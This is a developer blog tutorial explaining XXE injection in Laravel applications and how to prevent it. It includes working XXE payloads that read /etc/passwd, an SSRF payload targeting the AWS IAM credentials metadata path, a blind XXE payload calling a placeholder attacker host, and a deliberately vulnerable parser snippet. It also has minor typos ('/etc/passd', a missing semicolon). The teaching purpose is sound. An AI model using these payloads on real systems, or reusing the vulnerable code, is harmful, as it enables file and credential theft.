You might have heard stories about data breaches and cyberattacks even on popular, well-known websites. Hackers use different methods to defeat vulnerable websites. XML external entities (XXE) injection is one such method.
In an XXE injection, a malicious user exploits a website's capability for processing XML data. As a result, the attacker may gain access to files on the server. XXE is one of OWASP's top 10 web application security risks.
It is possible to parse XML data in your Laravel application. For example, you can set up a route that accepts requests with a content type of text/xml. An attacker may exploit any part of your application that processes XML data to inject malicious code. Because of that, protecting your application against Laravel XML external entities is crucial.
In this post, we'll learn about Laravel XML external entities by walking through some examples and methods of prevention.
Before we continue, let's take a look at what XXE is.
What Is XML External Entities (XXE)?
XXE is a type of vulnerability that targets applications that parse XML data. It allows an attacker to inject XML that points to external entities. Hence, the attacker can gain access to the server file system and sensitive data.
Some of the ways an attacker may take advantage of XXE include retrieving sensitive files from a server and performing server-side request forgery (SSRF) attacks. SSRF is a type of exploit that grants unauthorized access to server functionalities.
Examples of Laravel XXE and Methods of Prevention
Now that we know what XXE is, let's take a look at some examples of Laravel XXE attacks and ways of preventing each attack.
In Laravel, you can parse XML data using tools like SimpleXML. However, this may lead to XXE injection in your Laravel application if not done properly.
1. File Retrieval (External Entities)
In this example, we'll take a look at a Laravel web route that processes requests with XML data. An attacker may gain access to a server's internal file system by injecting the following XML to the route:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<info>
<name>&xxe;</name>
<email>sam@example.com</email>
</info>
The following is the code for the actual controller method that parses the XML data:
libxml_disable_entity_loader (false);
$xmlInput = file_get_contents('php://input');
$dom = new \DOMDocument();
$dom->loadXML($xmlInput, LIBXML_NOENT | LIBXML_DTDLOAD);
$info = simplexml_import_dom($dom);
$name = $info->name;
echo "Thank you for registering " . $name;
From the above code, we can see that it parses the XML data and prints the value for $name. As a result, if our server is vulnerable to XXE injection, the content of file:///etc/passd will also be in the output. Below is an example of what the output looks like:
Thank you for registering root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
As we can see above, the actual content of /etc/passd is visible in the request response. Usually, you'd need to log in to the server as an admin or root user to access /etc/passd. However, with XXE anyone can access that file by injecting malicious XML code.
Now, let's look at some ways we can prevent this type of attack on a vulnerable server.
Prevention
We already know that XXE attacks take advantage of an application's XML parser. The parser contains features that a hacker may exploit and pose danger to your application and its users. However, turning off such features can prevent XXE. Different XML parsers have different steps for disabling these features. You should look at the official documentation of the parser you're using for more specific guidelines.
Examples of potentially dangerous XML features include document type definition (DTD) and external entities. If you're using SimpleXML with Laravel, for example, you can disable external entities by calling the following method before parsing any XML:
libxml_disable_entity_loader(true);
Another way to prevent XXE is to validate user-generated XML data before running it through your XML parser.
2. Server-Side Request Forgery (SSRF)
Another serious XXE vulnerability is SSRF. An attacker can exploit SSRF to perform operations on the server and control the back end.
Below is an example XXE attack that performs SSRF. This attack attempts to steal IAM secret keys by exploiting the AWS metadata endpoint.
Tip: By default, the path of AWS metadata is /latest/meta-data/iam/security-credentials/.
Let's assume the IP address for the targeted server is something like http://189.23.100.2. An attacker can send the following XML data to start the exploit:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://189.23.100.2/latest/meta-data/iam/security-credentials/"> ]>
Parsing the above code without any validation on a vulnerable server will expose your IAM secret.
Prevention
You can prevent this type of attack by disabling vulnerable features that your application isn't using. That includes turning off DTD, external entities, and external doctype declaration.
Also, setting up an allowlist policy to stop hostile XML data can reduce risk.
3. Blind XXE
Unlike the first two examples, blind XXE attacks don't return values in response. That is to say, the value from an internal file like /etc/passd or other resources with sensitive data is not sent back to the attacker. However, it's possible for an attacker to detect that your site is vulnerable to XXE by triggering an out-of-bounds interaction.
For this example, we'll be looking at an application that displays details of an item based on an ID. The application reads the value for ID from an XML payload.
We can attempt to perform an XXE attack by injecting the following XML data:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attackers-server.com"> ]>
<item>
<itemId>&xxe</itemId>
</item>
Sending the above XML data will cause the application to return an "invalid item" message. Although the message doesn't contain any sensitive data, it shows that the value for &xxe is out of bounds. As a result, the response confirms that the request to the external entity was successful.
Another type of blind XXE involves the retrieval of data via an error message. This can be done when the attacker injects an XML payload that may cause parser error and expose sensitive data in the error message.
Prevention
This type of attack takes advantage of an application's response to user input. Hence, we can reduce the risk by not including sensitive data in error messages. Another good practice is to turn off the display of default error messages in your production environment.
You can turn off error display in Laravel production by updating the value for APP_DEBUG in .env to the following:
APP_DEBUG=false
The .env file is located on the root of your Laravel project.
You can also prevent this type of XXE attack by validating user-generated XML data before parsing or displaying the content.
Finally, ensure you always keep your application's XML parser up to date, as the maintainers may release new security patches.
To Conclude
Though XXE is not as common as other types of web vulnerabilities, it's important to test your Laravel application for XXE. It's even more important if your application parses a lot of user-generated XML data.
In this post, we've covered what XXE is and walked through three examples of Laravel XXE and how to prevent them.
Everything you learned in this post is a good starting point for securing your Laravel application against XXE. The most effective way to defend your application against XXE is by disabling DTD for external entities completely. In addition, ensure you take other measures like following Laravel security best practices. You should also use security testing tools to scan your application for XXE vulnerabilities.
This post was written by Pius Aboyi. Pius is a mobile and web developer with over 4 years of experience building for the Android platform. He writes code in Java, Kotlin, and PHP. He loves writing about tech and creating how-to tutorials for developers.